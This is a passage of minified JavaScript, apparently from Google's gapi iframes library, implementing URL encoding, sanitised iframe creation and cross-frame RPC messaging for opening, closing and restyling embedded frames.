Date).getTime()%1E6;Mm=Mm*b%Pm;0<Rm&&++Sm==Rm&&_.ae(_.Nd,"mousemove",Tm,"remove","de")};Om=function(a){var b=new _.ol;b.HD(a);return b.Ig()}; Km=!!Lm&&"function"==typeof Lm.getRandomValues;Km||(Pm=1E6*(window.screen.width*window.screen.width+window.screen.height),Nm=Om(_.Qd.cookie+"|"+_.Qd.location+"|"+(new Date).getTime()+"|"+Math.random()),Rm=_.H("random/maxObserveMousemove")||0,0!=Rm&&_.be(_.Nd,"mousemove",Tm)); var Vm,Zm,$m,an,bn,cn,dn,en,fn,gn,hn,jn,kn,on,qn,rn,sn,tn,un,vn;_.Um=function(a,b){b=b instanceof _.Wc?b:_.ad(b);a.href=_.Xc(b)};_.Wm=function(a){return!!a&&"object"===typeof a&&_.Sd.test(a.push)};_.Xm=function(a){for(var b=0;b<this.length;b++)if(this[b]===a)return b;return-1};_.Ym=function(a,b){if(!a)throw Error(b||"");};Zm=/&/g;$m=/</g;an=/>/g;bn=/"/g;cn=/'/g;dn=function(a){return String(a).replace(Zm,"&").replace($m,"<").replace(an,">").replace(bn,""").replace(cn,"'")};en=/[\ud800-\udbff][\udc00-\udfff]|[^!-~]/g; fn=/%([a-f]|[0-9a-fA-F][a-f])/g;gn=/^(https?|ftp|file|chrome-extension):$/i; hn=function(a){a=String(a);a=a.replace(en,function(a){try{return(0,window.encodeURIComponent)(a)}catch(f){return(0,window.encodeURIComponent)(a.replace(/^[^%]+$/g,"\ufffd"))}}).replace(_.Zd,function(a){return a.replace(/%/g,"%25")}).replace(fn,function(a){return a.toUpperCase()});a=a.match(_.Yd)||[];var b=_.D(),c=function(a){return a.replace(/\\/g,"%5C").replace(/\^/g,"%5E").replace(/`/g,"%60").replace(/\{/g,"%7B").replace(/\|/g,"%7C").replace(/\}/g,"%7D")},d=!!(a[1]||"").match(gn);b.ep=c((a[1]|| "")+(a[2]||"")+(a[3]||(a[2]&&d?"/":"")));d=function(a){return c(a.replace(/\?/g,"%3F").replace(/#/g,"%23"))};b.query=a[5]?[d(a[5])]:[];b.rh=a[7]?[d(a[7])]:[];return b};jn=function(a){return a.ep+(0<a.query.length?"?"+a.query.join("&"):"")+(0<a.rh.length?"#"+a.rh.join("&"):"")};kn=function(a,b){var c=[];if(a)for(var d in a)if(_.Ud(a,d)&&null!=a[d]){var e=b?b(a[d]):a[d];c.push((0,window.encodeURIComponent)(d)+"="+(0,window.encodeURIComponent)(e))}return c}; _.ln=function(a,b,c,d){a=hn(a);a.query.push.apply(a.query,kn(b,d));a.rh.push.apply(a.rh,kn(c,d));return jn(a)}; _.mn=function(a,b){var c=hn(b);b=c.ep;c.query.length&&(b+="?"+c.query.join(""));c.rh.length&&(b+="#"+c.rh.join(""));var d="";2E3<b.length&&(c=b,b=b.substr(0,2E3),b=b.replace(_.$d,""),d=c.substr(b.length));var e=a.createElement("div");a=a.createElement("a");c=hn(b);b=c.ep;c.query.length&&(b+="?"+c.query.join(""));c.rh.length&&(b+="#"+c.rh.join(""));a.href=b;e.appendChild(a);e.innerHTML=e.innerHTML;b=String(e.firstChild.href);e.parentNode&&e.parentNode.removeChild(e);c=hn(b+d);b=c.ep;c.query.length&& (b+="?"+c.query.join(""));c.rh.length&&(b+="#"+c.rh.join(""));return b};_.nn=/^https?:\/\/[^\/%\\?#\s]+\/[^\s]*$/i;on=function(a){for(;a.firstChild;)a.removeChild(a.firstChild)};_.pn=function(a,b){var c=_.Td(_.ce,"watt",_.D());_.Td(c,a,b)};qn=/^https?:\/\/(?:\w|[\-\.])+\.google\.(?:\w|[\-:\.])+(?:\/[^\?#]*)?\/b\/(\d{10,21})\//; rn=function(a){var b=_.H("googleapis.config/sessionDelegate");"string"===typeof b&&21<b.length&&(b=null);null==b&&(b=(a=(a||window.location.href).match(qn))?a[1]:null);if(null==b)return null;b=String(b);21<b.length&&(b=null);return b};sn=function(){var a=_.ce.onl;if(!a){a=_.D();_.ce.onl=a;var b=_.D();a.e=function(a){var c=b[a];c&&(delete b[a],c())};a.a=function(a,d){b[a]=d};a.r=function(a){delete b[a]}}return a};tn=function(a,b){b=b.onload;return"function"===typeof b?(sn().a(a,b),b):null}; un=function(a){_.Ym(/^\w+$/.test(a),"Unsupported id - "+a);sn();return'onload="window.___jsl.onl.e("'+a+'")"'};vn=function(a){sn().r(a)}; var xn,yn,Cn;_.wn={allowtransparency:"true",frameborder:"0",hspace:"0",marginheight:"0",marginwidth:"0",scrolling:"no",style:"",tabindex:"0",vspace:"0",width:"100%"};xn={allowtransparency:!0,onload:!0};yn=0;_.zn=function(a,b){var c=0;do var d=b.id||["I",yn++,"_",(new Date).getTime()].join("");while(a.getElementById(d)&&5>++c);_.Ym(5>c,"Error creating iframe id");return d};_.An=function(a,b){return a?b+"/"+a:""}; _.Bn=function(a,b,c,d){var e={},f={};a.documentMode&&9>a.documentMode&&(e.hostiemode=a.documentMode);_.Vd(d.queryParams||{},e);_.Vd(d.fragmentParams||{},f);var h=d.pfname;var k=_.D();_.H("iframes/dropLegacyIdParam")||(k.id=c);k._gfid=c;k.parent=a.location.protocol+"//"+a.location.host;c=_.Xd(a.location.href,"parent");h=h||"";!h&&c&&(h=_.Xd(a.location.href,"_gfid","")||_.Xd(a.location.href,"id",""),h=_.An(h,_.Xd(a.location.href,"pfname","")));h||(c=_.cf(_.Xd(a.location.href,"jcp","")))&&"object"== typeof c&&(h=_.An(c.id,c.pfname));k.pfname=h;d.connectWithJsonParam&&(h={},h.jcp=_.df(k),k=h);h=_.Xd(b,"rpctoken")||e.rpctoken||f.rpctoken;h||(h=d.rpctoken||String(Math.round(1E8*_.Qm())),k.rpctoken=h);d.rpctoken=h;_.Vd(k,d.connectWithQueryParams?e:f);k=a.location.href;a=_.D();(h=_.Xd(k,"_bsh",_.ce.bsh))&&(a._bsh=h);(k=_.ce.dpo?_.ce.h:_.Xd(k,"jsh",_.ce.h))&&(a.jsh=k);d.hintInFragment?_.Vd(a,f):_.Vd(a,e);return _.ln(b,e,f,d.paramsSerializer)}; Cn=function(a){_.Ym(!a||_.nn.test(a),"Illegal url for new iframe - "+a)}; _.Dn=function(a,b,c,d,e){Cn(c.src);var f,h=tn(d,c),k=h?un(d):"";try{window.document.all&&(f=a.createElement('<iframe frameborder="'+dn(String(c.frameborder))+'" scrolling="'+dn(String(c.scrolling))+'" '+k+' name="'+dn(String(c.name))+'"/>'))}catch(n){}finally{f||(f=a.createElement("iframe"),h&&(f.onload=function(){f.onload=null;h.call(this)},vn(d)))}f.setAttribute("ng-non-bindable","");for(var l in c)a=c[l],"style"===l&&"object"===typeof a?_.Vd(a,f.style):xn[l]||f.setAttribute(l,String(a));(l=e&& e.beforeNode||null)||e&&e.dontclear||on(b);b.insertBefore(f,l);f=l?l.previousSibling:b.lastChild;c.allowtransparency&&(f.allowTransparency=!0);return f}; var En,Hn;En=/^:[\w]+$/;_.Fn=/:([a-zA-Z_]+):/g;_.Gn=function(){var a=_.gl()||"0",b=rn();var c=_.gl(void 0)||a;var d=rn(void 0),e="";c&&(e+="u/"+(0,window.encodeURIComponent)(String(c))+"/");d&&(e+="b/"+(0,window.encodeURIComponent)(String(d))+"/");c=e||null;(e=(d=!1===_.H("isLoggedIn"))?"_/im/":"")&&(c="");var f=_.H("iframes/:socialhost:"),h=_.H("iframes/:im_socialhost:");return Vm={socialhost:f,ctx_socialhost:d?h:f,session_index:a,session_delegate:b,session_prefix:c,im_prefix:e}}; Hn=function(a,b){return _.Gn()[b]||""};_.In=function(a){return _.mn(_.Qd,a.replace(_.Fn,Hn))};_.Jn=function(a){var b=a;En.test(a)&&(b=_.H("iframes/"+b.substring(1)+"/url"),_.Ym(!!b,"Unknown iframe url config for - "+a));return _.In(b)}; _.Kn=function(a,b,c){var d=c||{};c=d.attributes||{};_.Ym(!(d.allowPost||d.forcePost)||!c.onload,"onload is not supported by post iframe (allowPost or forcePost)");a=_.Jn(a);c=b.ownerDocument||_.Qd;var e=_.zn(c,d);a=_.Bn(c,a,e,d);var f=_.D();_.Vd(_.wn,f);_.Vd(d.attributes,f);f.name=f.id=e;f.src=a;d.eurl=a;var h=d||{},k=!!h.allowPost;if(h.forcePost||k&&2E3<a.length){h=hn(a);f.src="";f["data-postorigin"]=a;a=_.Dn(c,b,f,e);if(-1!=window.navigator.userAgent.indexOf("WebKit")){var l=a.contentWindow.document; l.open();f=l.createElement("div");k={};var n=e+"_inner";k.name=n;k.src="";k.style="display:none";_.Dn(c,f,k,n,d)}f=(d=h.query[0])?d.split("&"):[];d=[];for(k=0;k<f.length;k++)n=f[k].split("=",2),d.push([(0,window.decodeURIComponent)(n[0]),(0,window.decodeURIComponent)(n[1])]);h.query=[];f=jn(h);_.Ym(_.nn.test(f),"Invalid URL: "+f);h=c.createElement("form");h.action=f;h.method="POST";h.target=e;h.style.display="none";for(e=0;e<d.length;e++)f=c.createElement("input"),f.type="hidden",f.name=d[e][0],f.value= d[e][1],h.appendChild(f);b.appendChild(h);h.submit();h.parentNode.removeChild(h);l&&l.close();b=a}else b=_.Dn(c,b,f,e,d);return b}; _.Ln=function(a){this.R=a};_.g=_.Ln.prototype;_.g.value=function(){return this.R};_.g.uk=function(a){this.R.width=a;return this};_.g.Ed=function(){return this.R.width};_.g.rk=function(a){this.R.height=a;return this};_.g.Xc=function(){return this.R.height};_.g.Jd=function(a){this.R.style=a;return this};_.g.zl=_.ea(9); var Mn=function(a){this.R=a};_.g=Mn.prototype;_.g.no=function(a){this.R.anchor=a;return this};_.g.vf=function(){return this.R.anchor};_.g.IC=function(a){this.R.anchorPosition=a;return this};_.g.rk=function(a){this.R.height=a;return this};_.g.Xc=function(){return this.R.height};_.g.uk=function(a){this.R.width=a;return this};_.g.Ed=function(){return this.R.width}; _.Nn=function(a){this.R=a||{}};_.g=_.Nn.prototype;_.g.value=function(){return this.R};_.g.setUrl=function(a){this.R.url=a;return this};_.g.getUrl=function(){return this.R.url};_.g.Jd=function(a){this.R.style=a;return this};_.g.zl=_.ea(8);_.g.Zi=function(a){this.R.id=a};_.g.ka=function(){return this.R.id};_.g.tk=_.ea(10);_.On=function(a,b){a.R.queryParams=b;return a};_.Pn=function(a,b){a.R.relayOpen=b;return a};_.Nn.prototype.oo=_.ea(11);_.Nn.prototype.getContext=function(){return this.R.context}; _.Nn.prototype.Qc=function(){return this.R.openerIframe};_.Qn=function(a){return new Mn(a.R)};_.Nn.prototype.hn=function(){this.R.attributes=this.R.attributes||{};return new _.Ln(this.R.attributes)};_.Rn=function(a){a.R.connectWithQueryParams=!0;return a}; var Sn,Yn,Zn,$n,go,fo;_.Ln.prototype.zl=_.rc(9,function(){return this.R.style});_.Nn.prototype.zl=_.rc(8,function(){return this.R.style});Sn=function(a,b){a.R.onload=b};_.Tn=function(a){a.R.closeClickDetection=!0};_.Un=function(a){return a.R.rpctoken};_.Vn=function(a,b){a.R.messageHandlers=b;return a};_.Wn=function(a,b){a.R.messageHandlersFilter=b;return a};_.Xn=function(a){a.R.waitForOnload=!0;return a};Yn=function(a){return(a=a.R.timeout)?a:null}; _.bo=function(a,b,c){if(a){_.Ym(_.Wm(a),"arrayForEach was called with a non array value");for(var d=0;d<a.length;d++)b.call(c,a[d],d)}};_.co=function(a,b,c){if(a)if(_.Wm(a))_.bo(a,b,c);else{_.Ym("object"===typeof a,"objectForEach was called with a non object value");c=c||a;for(var d in a)_.Ud(a,d)&&void 0!==a[d]&&b.call(c,a[d],d)}}; _.eo=function(a){return new _.dh(function(b,c){var d=a.length,e=[];if(d)for(var f=function(a,c){d--;e[a]=c;0==d&&b(e)},h=function(a){c(a)},k=0,l;k<a.length;k++)l=a[k],_.kh(l,_.Of(f,k),h);else b(e)})};go=function(a){this.resolve=this.reject=null;this.promise=_.Im((0,_.A)(function(a,c){this.resolve=a;this.reject=c},this));a&&(this.promise=fo(this.promise,a))};fo=function(a,b){return a.then(function(a){try{b(a)}catch(d){}return a})}; _.ho=function(a){this.R=a||{}};_.z(_.ho,_.Nn);_.io=function(a,b){a.R.frameName=b;return a};_.ho.prototype.Cd=function(){return this.R.frameName};_.jo=function(a,b){a.R.rpcAddr=b;return a};_.ho.prototype.xl=function(){return this.R.rpcAddr};_.ko=function(a,b){a.R.retAddr=b;return a};_.lo=function(a){return a.R.retAddr};_.ho.prototype.Nh=function(a){this.R.origin=a;return this};_.ho.prototype.Qa=function(){return this.R.origin};_.ho.prototype.$i=function(a){this.R.setRpcReady=a;return this};_.mo=function(a){return a.R.setRpcReady}; _.ho.prototype.qo=function(a){this.R.context=a};var no=function(a,b){a.R._rpcReadyFn=b};_.ho.prototype.Ha=function(){return this.R.iframeEl}; var oo,so,ro;oo=/^[\w\.\-]*$/;_.po=function(a){return a.wd===a.getContext().wd};_.M=function(){return!0};_.qo=function(a){for(var b=_.D(),c=0;c<a.length;c++)b[a[c]]=!0;return function(a){return!!b[a.wd]}};so=function(a,b,c){return function(d){if(!b.Fb){_.Ym(this.origin===b.wd,"Wrong origin "+this.origin+" != "+b.wd);var e=this.callback;d=ro(a,d,b);!c&&0<d.length&&_.eo(d).then(e)}}};ro=function(a,b,c){a=Zn[a];if(!a)return[];for(var d=[],e=0;e<a.length;e++)d.push(_.hh(a[e].call(c,b,c)));return d}; _.to=function(a,b,c){_.Ym("_default"!=a,"Cannot update default api");$n[a]={map:b,filter:c}};_.uo=function(a,b,c){_.Ym("_default"!=a,"Cannot update default api");_.Td($n,a,{map:{},filter:_.po}).map[b]=c};_.vo=function(a,b){_.Td($n,"_default",{map:{},filter:_.M}).map[a]=b;_.co(_.ao.Ge,function(c){c.register(a,b,_.M)})};_.wo=function(){return _.ao}; _.yo=function(a){a=a||{};this.Fb=!1;this.bK=_.D();this.Ge=_.D();this.Ee=a._window||_.Nd;this.yd=this.Ee.location.href;this.cK=(this.OB=xo(this.yd,"parent"))?xo(this.yd,"pfname"):"";this.Aa=this.OB?xo(this.yd,"_gfid")||xo(this.yd,"id"):"";this.uf=_.An(this.Aa,this.cK);this.wd=_.Xj.Qa(this.yd);if(this.Aa){var b=new _.ho;_.jo(b,a._parentRpcAddr||"..");_.ko(b,a._parentRetAddr||this.Aa);b.Nh(_.Xj.Qa(this.OB||this.yd));_.io(b,this.cK);this.hb=this.uj(b.value())}else this.hb=null};_.g=_.yo.prototype; _.g.Dn=_.ea(3);_.g.Ca=function(){if(!this.Fb){for(var a=0;a<this.Ge.length;a++)this.Ge[a].Ca();this.Fb=!0}};_.g.Cd=function(){return this.uf};_.g.vb=function(){return this.Ee};_.g.mb=function(){return this.Ee.document};_.g.gw=_.ea(12);_.g.Ez=function(a){return this.bK[a]}; _.g.uj=function(a){_.Ym(!this.Fb,"Cannot attach iframe in disposed context");a=new _.ho(a);a.xl()||_.jo(a,a.ka());_.lo(a)||_.ko(a,"..");a.Qa()||a.Nh(_.Xj.Qa(a.getUrl()));a.Cd()||_.io(a,_.An(a.ka(),this.uf));var b=a.Cd();if(this.Ge[b])return this.Ge[b];var c=a.xl(),d=c;a.Qa()&&(d=c+"|"+a.Qa());var e=_.lo(a),f=_.Un(a);f||(f=(f=a.Ha())&&(f.getAttribute("data-postorigin")||f.src)||a.getUrl(),f=_.Xd(f,"rpctoken"));no(a,_.Hm(d,e,f,a.R._popupWindow));d=((window.gadgets||{}).rpc||{}).setAuthToken;f&&d&&d(c, f);var h=new _.zo(this,c,b,a),k=a.R.messageHandlersFilter;_.co(a.R.messageHandlers,function(a,b){h.register(b,a,k)});_.mo(a)&&h.$i();_.Ao(h,"_g_rpcReady");return h};_.g.vC=function(a){_.io(a,null);var b=a.ka();!b||oo.test(b)&&!this.vb().document.getElementById(b)||(_.ue("Ignoring requested iframe ID - "+b),a.Zi(null))};var xo=function(a,b){var c=_.Xd(a,b);c||(c=_.cf(_.Xd(a,"jcp",""))[b]);return c||""}; _.yo.prototype.Tg=function(a){_.Ym(!this.Fb,"Cannot open iframe in disposed context");var b=new _.ho(a);Bo(this,b);var c=b.Cd();if(c&&this.Ge[c])return this.Ge[c];this.vC(b);c=b.getUrl();_.Ym(c,"No url for new iframe");var d=b.R.queryParams||{};d.usegapi="1";_.On(b,d);d=this.ZH&&this.ZH(c,b);d||(d=b.R.where,_.Ym(!!d,"No location for new iframe"),c=_.Kn(c,d,a),b.R.iframeEl=c,d=c.getAttribute("id"));_.jo(b,d).Zi(d);b.Nh(_.Xj.Qa(b.R.eurl||""));this.iJ&&this.iJ(b,b.Ha());c=this.uj(a);c.aD&&c.aD(c,a); (a=b.R.onCreate)&&a(c);b.R.disableRelayOpen||c.Yo("_open");return c}; var Co=function(a,b,c){var d=b.R.canvasUrl;if(!d)return c;_.Ym(!b.R.allowPost&&!b.R.forcePost,"Post is not supported when using canvas url");var e=b.getUrl();_.Ym(e&&_.Xj.Qa(e)===a.wd&&_.Xj.Qa(d)===a.wd,"Wrong origin for canvas or hidden url "+d);b.setUrl(d);_.Xn(b);b.R.canvasUrl=null;return function(a){var b=a.vb(),d=b.location.hash;d=_.Jn(e)+(/#/.test(e)?d.replace(/^#/,"&"):d);b.location.replace(d);c&&c(a)}},Eo=function(a,b,c){var d=b.R.relayOpen;if(d){var e=a.hb;d instanceof _.zo?(e=d,_.Pn(b,0)): 0<Number(d)&&_.Pn(b,Number(d)-1);if(e){_.Ym(!!e.VJ,"Relaying iframe open is disabled");if(d=b.zl())if(d=_.Do[d])b.qo(a),d(b.value()),b.qo(null);b.R.openerIframe=null;c.resolve(e.VJ(b));return!0}}return!1},Io=function(a,b,c){var d=b.zl();if(d)if(_.Ym(!!_.Fo,"Defer style is disabled, when requesting style "+d),_.Go[d])Bo(a,b);else return Ho(d,function(){_.Ym(!!_.Go[d],"Fail to load style - "+d);c.resolve(a.open(b.value()))}),!0;return!1}; _.yo.prototype.open=function(a,b){_.Ym(!this.Fb,"Cannot open iframe in disposed context");var c=new _.ho(a);b=Co(this,c,b);var d=new go(b);(b=c.getUrl())&&c.setUrl(_.Jn(b));if(Eo(this,c,d)||Io(this,c,d)||Eo(this,c,d))return d.promise;if(null!=Yn(c)){var e=(0,window.setTimeout)(function(){h.Ha().src="about:blank";d.reject({timeout:"Exceeded time limit of :"+Yn(c)+"milliseconds"})},Yn(c)),f=d.resolve;d.resolve=function(a){(0,window.clearTimeout)(e);f(a)}}c.R.waitForOnload&&Sn(c.hn(),function(){d.resolve(h)}); var h=this.Tg(a);c.R.waitForOnload||d.resolve(h);return d.promise};_.yo.prototype.pH=_.ea(13);_.zo=function(a,b,c,d){this.Fb=!1;this.Od=a;this.Ti=b;this.uf=c;this.ya=d;this.eo=_.lo(this.ya);this.wd=this.ya.Qa();this.jV=this.ya.Ha();this.OL=this.ya.R.where;this.Un=[];this.Yo("_default");a=this.ya.R.apis||[];for(b=0;b<a.length;b++)this.Yo(a[b]);this.Od.Ge[c]=this};_.g=_.zo.prototype;_.g.Dn=_.ea(2); _.g.Ca=function(){if(!this.Fb){for(var a=0;a<this.Un.length;a++)this.unregister(this.Un[a]);delete _.ao.Ge[this.Cd()];this.Fb=!0}};_.g.getContext=function(){return this.Od};_.g.xl=function(){return this.Ti};_.g.Cd=function(){return this.uf};_.g.Ha=function(){return this.jV};_.g.$a=function(){return this.OL};_.g.Ze=function(a){this.OL=a};_.g.$i=function(){(0,this.ya.R._rpcReadyFn)()};_.g.pL=function(a,b){this.ya.value()[a]=b};_.g.Mz=function(a){return this.ya.value()[a]};_.g.Ob=function(){return this.ya.value()}; _.g.ka=function(){return this.ya.ka()};_.g.Qa=function(){return this.wd};_.g.register=function(a,b,c){_.Ym(!this.Fb,"Cannot register handler on disposed iframe "+a);_.Ym((c||_.po)(this),"Rejecting untrusted message "+a);c=this.uf+":"+this.Od.uf+":"+a;1==_.Td(Zn,c,[]).push(b)&&(this.Un.push(a),_.wm(c,so(c,this,"_g_wasClosed"===a)))}; _.g.unregister=function(a,b){var c=this.uf+":"+this.Od.uf+":"+a,d=Zn[c];d&&(b?(b=_.Xm.call(d,b),0<=b&&d.splice(b,1)):d.splice(0,d.length),0==d.length&&(b=_.Xm.call(this.Un,a),0<=b&&this.Un.splice(b,1),_.xm(c)))};_.g.YS=function(){return this.Un};_.g.Yo=function(a){this.Dx=this.Dx||[];if(!(0<=_.Xm.call(this.Dx,a))){this.Dx.push(a);a=$n[a]||{map:{}};for(var b in a.map)_.Ud(a.map,b)&&this.register(b,a.map[b],a.filter)}}; _.g.send=function(a,b,c,d){_.Ym(!this.Fb,"Cannot send message to disposed iframe - "+a);_.Ym((d||_.po)(this),"Wrong target for message "+a);c=new go(c);_.Am(this.Ti,this.Od.uf+":"+this.uf+":"+a,c.resolve,b);return c.promise};_.Ao=function(a,b,c,d){return a.send(b,c,d,_.M)};_.zo.prototype.tX=function(a){return a};_.zo.prototype.ping=function(a,b){return _.Ao(this,"_g_ping",b,a)};Zn=_.D();$n=_.D();_.ao=new _.yo;_.vo("_g_rpcReady",_.zo.prototype.$i);_.vo("_g_discover",_.zo.prototype.YS); _.vo("_g_ping",_.zo.prototype.tX); var Ho,Bo;_.Go=_.D();_.Do=_.D();_.Fo=function(a){return _.Go[a]};Ho=function(a,b){_.Wd.load("gapi.iframes.style."+a,b)};Bo=function(a,b){var c=b.zl();if(c){b.Jd(null);var d=_.Go[c];_.Ym(d,"No such style: "+c);b.qo(a);d(b.value());b.qo(null)}};var Jo,Ko;Jo={height:!0,width:!0};Ko=/^(?!-*(?:expression|(?:moz-)?binding))(?:[.#]?-?(?:[_a-z0-9-]+)(?:-[_a-z0-9-]+)*-?|-?(?:[0-9]+(?:\.[0-9]*)?|\.[0-9]+)(?:[a-z]{1,2}|%)?|!important|)$/i;_.Lo=function(a){"number"===typeof a&&(a=String(a)+"px");return a};_.zo.prototype.vb=function(){if(!_.po(this))return null;var a=this.ya.R._popupWindow;if(a)return a;var b=this.Ti.split("/");a=this.getContext().vb();for(var c=0;c<b.length&&a;c++){var d=b[c];a=".."===d?a==a.parent?a.opener:a.parent:a.frames[d]}return a}; var Mo=function(a,b){var c=a.hb,d=!0;b.filter&&(d=b.filter.call(b.yf,b.params));return _.hh(d).then(function(d){return d&&c?(b.aK&&b.aK.call(a,b.params),d=b.sender?b.sender(b.params):_.Ao(c,b.message,b.params),b.S_?d.then(function(){return!0}):!0):!1})}; _.yo.prototype.dy=function(a,b,c){a=Mo(this,{sender:function(a){var b=_.ao.hb;_.co(_.ao.Ge,function(c){c!==b&&_.Ao(c,"_g_wasClosed",a)});return _.Ao(b,"_g_closeMe",a)},message:"_g_closeMe",params:a,yf:c,filter:this.Ez("onCloseSelfFilter")});b=new go(b);b.resolve(a);return b.promise};_.yo.prototype.sC=function(a,b,c){a=a||{};b=new go(b);b.resolve(Mo(this,{message:"_g_restyleMe",params:a,yf:c,filter:this.Ez("onRestyleSelfFilter"),S_:!0,aK:this.pM}));return b.promise}; _.yo.prototype.pM=function(a){"auto"===a.height&&(a.height=_.Jm.Xc())};_.No=function(a){var b={};if(a)for(var c in a)_.Ud(a,c)&&_.Ud(Jo,c)&&Ko.test(a[c])&&(b[c]=a[c]);return b};_.g=_.zo.prototype;_.g.close=function(a,b){return _.Ao(this,"_g_close",a,b)};_.g.tr=function(a,b){return _.Ao(this,"_g_restyle",a,b)};_.g.bo=function(a,b){return _.Ao(this,"_g_restyleDone",a,b)};_.g.rQ=function(a){return this.getContext().dy(a,void 0,this)}; _.g.tY=function(a){if(a&&"object"===typeof a)return this.getContext().sC(a,void 0,this)};_.g.uY=function(a){var b=this.ya.R.onRestyle;b&&b.call(this,a,this);a=a&&"object"===typeof a?_.No(a):{};(b=this.Ha())&&a&&"object"===typeof a&&(_.Ud(a,"height")&&(a.height=_.Lo(a.height)),_.Ud(a,"width")&&(a.width=_.Lo(a.width)),_.Vd(a,b.style))}; _.g.sQ=function(a){var b=this.ya.R.onClose;b&&b.call(this,a,this);this.WF&&this.WF()||(b=this.Ha())&&b.parentNode&&b.parentNode.removeChild(b);if(b=this.ya.R.controller){var c={};c.frameName=this.Cd();_.Ao(b,"_g_disposeControl",c)}ro(this.uf+":"+this.Od.uf+":_g_wasClosed",a,this)};_.yo.prototype.bL=_.ea(14);_.yo.prototype.rL=_.ea(15);_.zo.prototype.sK=_.ea(16);_.zo.prototype.ik=function(a,b){this.register("_g_wasClosed",a,b)}; _.zo.prototype.V_=function(){delete this.getContext().Ge[this.Cd()];this.getContext().vb().setTimeout((0,_.A)(function(){this.Ca()},this),0)};_.vo("_g_close",_.zo.prototype.rQ);_.vo("_g_closeMe",_.zo.prototype.sQ);_.vo("_g_restyle",_.zo.prototype.tY);_.vo("_g_restyleMe",_.zo.prototype.uY);_.vo("_g_wasClosed",_.zo.prototype.V_); var Vo,Yo,Zo,$o;_.Nn.prototype.oo=_.rc(11,function(a){this.R.apis=a;return this});_.Nn.prototype.tk=_.rc(10,function(a){this.R.rpctoken=a;return this});_.Oo=function(a){a.R.show=!0;return a};_.Po=function(a,b){a.R.where=b;return a};_.Qo=function(a,b){a.R.onClose=b};_.Ro=function(a,b){a.rel="stylesheet";a.href=_.Sc(b)};_.So=function(a){this.R=a||{}};_.So.prototype.value=function(){return this.R};_.So.prototype.getIframe=function(){return this.R.iframe};_.To=function(a,b){a.R.role=b;return a}; _.So.prototype.$i=function(a){this.R.setRpcReady=a;return this};_.So.prototype.tk=function(a){this.R.rpctoken=a;return this};_.Uo=function(a){a.R.selfConnect=!0;return a};Vo=function(a){this.R=a||{}};Vo.prototype.value=function(){return this.R};var Wo=function(a){var b=new Vo;b.R.role=a;return b};Vo.prototype.xH=function(){return this.R.role};Vo.prototype.Xb=function(a){this.R.handler=a;return this};Vo.prototype.Bb=function(){return this.R.handler};var Xo=function(a,b){a.R.filter=b;return a}; Vo.prototype.oo=function(a){this.R.apis=a;return this};Yo=function(a){a.R.runOnce=!0;return a};Zo=/^https?:\/\/[^\/%\\?#\s]+$/i;$o={longdesc:!0,name:!0,src:!0,frameborder:!0,marginwidth:!0,marginheight:!0,scrolling:!0,align:!0,height:!0,width:!0,id:!0,"class":!0,title:!0,tabindex:!0,hspace:!0,vspace:!0,allowtransparency:!0};_.ap=function(a,b,c){var d=a.Ti,e=b.eo;_.ko(_.jo(c,a.eo+"/"+b.Ti),e+"/"+d);_.io(c,b.Cd()).Nh(b.wd)};_.yo.prototype.fy=_.ea(17);_.g=_.zo.prototype; _.g.vQ=function(a){var b=new _.ho(a);a=new _.So(b.value());if(a.R.selfConnect)var c=this;else(_.Ym(Zo.test(b.Qa()),"Illegal origin for connected iframe - "+b.Qa()),c=this.Od.Ge[b.Cd()],c)?_.mo(b)&&(c.$i(),_.Ao(c,"_g_rpcReady")):(b=_.io(_.ko(_.jo((new _.ho).tk(_.Un(b)),b.xl()),_.lo(b)).Nh(b.Qa()),b.Cd()).$i(_.mo(b)),c=this.Od.uj(b.value()));b=this.Od;var d=a.R.role;a=a.R.data;bp(b);d=d||"";_.Td(b.hy,d,[]).push({yf:c.Cd(),data:a});cp(c,a,b.wB[d])}; _.g.aD=function(a,b){(new _.ho(b)).R._relayedDepth||(b={},_.Uo(_.To(new _.So(b),"_opener")),_.Ao(a,"_g_connect",b))}; _.g.VJ=function(a){var b=this,c=a.R.messageHandlers,d=a.R.messageHandlersFilter,e=a.R.onClose;_.Qo(_.Wn(_.Vn(a,null),null),null);_.mh();return _.Ao(this,"_g_open",a.value()).then(function(f){var h=new _.ho(f[0]),k=h.Cd();f=new _.ho;var l=b.eo,n=_.lo(h);_.ko(_.jo(f,b.Ti+"/"+h.xl()),n+"/"+l);_.io(f,k);f.Nh(h.Qa());f.oo(h.R.apis);f.tk(_.Un(a));_.Vn(f,c);_.Wn(f,d);_.Qo(f,e);(h=b.Od.Ge[k])||(h=b.Od.uj(f.value()));return h})}; _.g.vC=function(a){var b=a.getUrl();_.Ym(!b||_.nn.test(b),"Illegal url for new iframe - "+b);var c=a.hn().value();b={};for(var d in c)_.Ud(c,d)&&_.Ud($o,d)&&(b[d]=c[d]);_.Ud(c,"style")&&(d=c.style,"object"===typeof d&&(b.style=_.No(d)));a.value().attributes=b}; _.g.gX=function(a){a=new _.ho(a);this.vC(a);var b=a.R._relayedDepth||0;a.R._relayedDepth=b+1;a.R.openerIframe=this;_.mh();var c=_.Un(a);a.tk(null);return this.Od.open(a.value()).then((0,_.A)(function(a){var d=(new _.ho(a.Ob())).R.apis,f=new _.ho;_.ap(a,this,f);0==b&&_.To(new _.So(f.value()),"_opener");f.$i(!0);f.tk(c);_.Ao(a,"_g_connect",f.value());f=new _.ho;_.io(_.ko(_.jo(f.oo(d),a.xl()),a.eo),a.Cd()).Nh(a.Qa());return f.value()},this))};var bp=function(a){a.hy||(a.hy=_.D(),a.wB=_.D())}; _.yo.prototype.xx=function(a,b,c,d){bp(this);"object"===typeof a?(b=new Vo(a),c=b.xH()||""):(b=Xo(Wo(a).Xb(b).oo(c),d),c=a);d=this.hy[c]||[];a=!1;for(var e=0;e<d.length&&!a;e++)cp(this.Ge[d[e].yf],d[e].data,[b]),a=b.R.runOnce;c=_.Td(this.wB,c,[]);a||b.R.dontWait||c.push(b)};_.yo.prototype.vK=_.ea(18); var cp=function(a,b,c){c=c||[];for(var d=0;d<c.length;d++){var e=c[d];if(e&&a){var f=e.R.filter||_.po;if(a&&f(a)){f=e.R.apis||[];for(var h=0;h<f.length;h++)a.Yo(f[h]);e.Bb()&&e.Bb()(a,b);e.R.runOnce&&(c.splice(d,1),--d)}}}};_.yo.prototype.sj=function(a,b,c){this.xx(Yo(Xo(Wo("_opener").Xb(a).oo(b),c)).value())};_.zo.prototype.sY=function(a){this.getContext().sj(function(b){b.send("_g_wasRestyled",a,void 0,_.M)},null,_.M)};var 